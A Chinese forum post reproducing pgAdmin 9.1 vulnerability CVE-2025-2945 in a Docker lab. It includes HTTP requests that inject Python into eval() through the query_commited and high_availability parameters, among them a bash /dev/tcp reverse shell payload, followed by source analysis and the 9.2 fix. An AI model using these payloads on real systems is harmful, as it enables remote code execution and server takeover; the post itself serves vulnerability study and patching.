找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1163

积分

0

好友

163

主题
发表于 14 小时前 | 查看: 3| 回复: 0

环境搭建

可以通过Docker快速搭建漏洞复现环境,以dpage/pgadmin4:9.1.0镜像为例。

  1. 首先创建一个容器网络,用于容器间通信:
    docker network create pg-network
  2. 启动一个PostgreSQL数据库容器:
    docker run -d --name postgres \
      --network pg-network \
      -e POSTGRES_USER=postgres \
      -e POSTGRES_PASSWORD=postgres123 \
      -e POSTGRES_DB=testdb \
      -p 5432:5432 \
      postgres:15
  3. 启动存在漏洞的pgAdmin容器(版本9.1.0):
    docker run -d --name pgadmin \
      --network pg-network \
      -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' \
      -e 'PGADMIN_DEFAULT_PASSWORD=123456' \
      -p 5050:80 \
      docker.io/dpage/pgadmin4:9.1.0
  4. 检查网络及容器状态:
    # 查看网络详情
    docker network inspect pg-network
    # 删除网络(测试完成后)
    docker network rm pg-network

环境启动后,访问 http://127.0.0.1:5050,使用设置的邮箱和密码登录pgAdmin管理界面。

pgAdmin登录界面
pgAdmin主界面

漏洞复现

该漏洞主要存在于两个接口,均可导致远程代码执行。

路径一:/sqleditor/query_tool/download/

此接口用于导出SQL查询结果,其query_commited参数被不安全地执行。

前提:获取有效的登录Session与CSRF Token。

步骤 1:临时连接数据库服务器
调用接口 /misc/workspace/adhoc_connect_server,获取服务器ID (sid) 和数据库ID (did)。

请求示例:

POST /misc/workspace/adhoc_connect_server HTTP/1.1
Host: 127.0.0.1:5050
...
{
    "sid":null,
    "did":"testdb",
    "user":"postgres",
    "host":"postgres",
    "port":"5432",
    "username":"test",
    "password":"postgres123",
    ...
}

步骤1请求
响应中返回 siddid
步骤1响应

步骤 2:初始化SQL编辑器会话
调用接口 /sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did},其中trans_id为随机生成的事务ID(后续需保持一致)。

请求示例:

POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1
Host: 127.0.0.1:5050
...
{
    "user": "postgres",
    "password": "postgres123",
    "dbname": "testdb"
}

步骤2请求与响应

步骤 3:触发命令执行漏洞
调用漏洞接口 /sqleditor/query_tool/download/{trans_id},在query_commited参数中注入Python代码。

  1. 概念验证:执行创建文件的命令。

    POST /sqleditor/query_tool/download/1234567 HTTP/1.1
    Host: 127.0.0.1:5050
    ...
    {
        "query":"SELECT 1;",
        "query_commited":"open('/tmp/20251208', 'w')"
    }

    步骤3请求
    进入容器验证文件是否创建成功:
    验证文件创建

  2. 反弹Shell:构造命令获取反向连接。

    POST /sqleditor/query_tool/download/1234567 HTTP/1.1
    Host: 127.0.0.1:5050
    ...
    {
        "query":"SELECT 1;",
        "query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"
    }

    反弹Shell请求

路径二:/cloud/deploy

此接口用于向云平台部署数据库实例,其high_availability参数存在命令注入。为方便复现,需临时注释掉Google Cloud认证校验代码。

  1. 修改容器内文件

    # 进入容器
    docker exec -it -u root pgadmin "/bin/bash"
    
    # 注释相关认证代码
    FILE="/pgadmin4/pgacloud/providers/google.py"
    sed -i 's/credentials = self._get_credentials/#&/' $FILE
    sed -i 's/service = discovery.build/#&/' $FILE
    sed -i 's/credentials=credentials)/#&/' $FILE
    
    # 验证修改
    sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py
  2. 命令行验证漏洞

    /venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \
      --project test \
      --name test \
      --high-availability "__import__('os').system('id > /tmp/google_pwned.txt')"

    命令行验证

  3. Web接口复现
    为了让Web接口生效,还需注释两处session校验代码,然后重启容器。

    FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
    sed -i 's/google_obj = pickle.loads/#&/' $FILE
    sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE
    docker restart pgadmin

    发送恶意请求:

    POST /cloud/deploy HTTP/1.1
    Host: 127.0.0.1:5050
    ...
    {
      "cloud": "google",
      ...
      "instance_details": {
        ...
        "high_availability": "__import__('os').system('id > /tmp/pwned.txt')"
      },
      ...
    }

    Web接口请求

漏洞分析

通过分析pgAdmin 9.1源代码,可以定位漏洞根源。

/sqleditor/query_tool/download/ 漏洞链

  1. /misc/workspace/adhoc_connect_server (web/pgadmin/misc/workspaces/__init__.py):
    验证连接参数,建立到PostgreSQL的实际连接,返回siddid
    adhoc_connect_server代码

  2. /sqleditor/initialize/sqleditor/... (web/pgadmin/tools/sqleditor/__init__.py):
    创建QueryToolCommand对象并建立连接,关键是将该命令对象序列化后存入session['gridData'][trans_id]。后续check_transaction_status()函数会检查此trans_id是否存在。
    initialize代码1
    initialize代码2

  3. /sqleditor/query_tool/download/{trans_id} (web/pgadmin/tools/sqleditor/__init__.py#start_query_download_tool):
    漏洞触发点。从请求中获取query_commited参数,并直接传递给eval()函数执行,导致任意Python代码执行。
    download漏洞代码

/cloud/deploy 漏洞链

  1. 入口路由 (web/pgadmin/misc/cloud/__init__.py#deploy_on_cloud):
    接收请求,根据cloud字段分发到对应的云提供商处理函数(如Google)。
    deploy入口

  2. Google云处理 (web/pgadmin/misc/cloud/google/__init__.py#deploy_on_google):
    构建命令行参数,其中用户控制的high_availability被直接拼入。创建一个BatchProcess后台进程来执行pgacloud.py脚本。
    google处理代码

  3. 命令行解析与执行 (web/pgacloud/pgacloud.py):
    脚本加载providers模块,解析命令行参数,并调用对应命令函数。
    pgacloud入口

  4. 漏洞触发点 (web/pgacloud/providers/google.py):
    cmd_create_instance() -> _create_google_postgresql_instance()函数中,args.high_availability参数被直接传递给eval()函数执行。
    google provider代码1
    漏洞eval点

漏洞修复

官方在9.2版本中修复了这两个漏洞,核心修复方式是移除不安全的eval()调用,改为安全的类型检查与字符串比较。

/sqleditor/query_tool/download/ 修复

9.1版本中使用eval(query_commited)。9.2版本中,首先检查参数是否为字符串,若是则转换为小写并与'true''1'比较;若为布尔型则直接使用。彻底避免了代码执行。
query_tool修复对比

/cloud/deploy 修复

修复逻辑与上述类似,对于high_availability参数,同样移除了eval(),采用安全的字符串/布尔值判断逻辑。
cloud deploy修复对比

总结:CVE-2025-2945漏洞源于pgAdmin在多个接口中对用户输入参数使用了危险的eval()函数。作为广泛使用的数据库管理工具,此类高危漏洞可导致攻击者完全接管服务器。开发者应尽快升级至pgAdmin 9.2或更高版本,并在自身开发中严格避免使用eval()处理不可信输入。对于仍在使用容器运行旧版本的用户,务必确保pgAdmin服务不暴露在公网,并严格限制访问来源。




上一篇:BK7258开源仪表盘方案:改造旧电瓶车,实现智能显示与车联网
下一篇:Java内存泄漏排查实战:从服务6小时重启到Caffeine缓存优化
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 15:12 , Processed in 0.109064 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表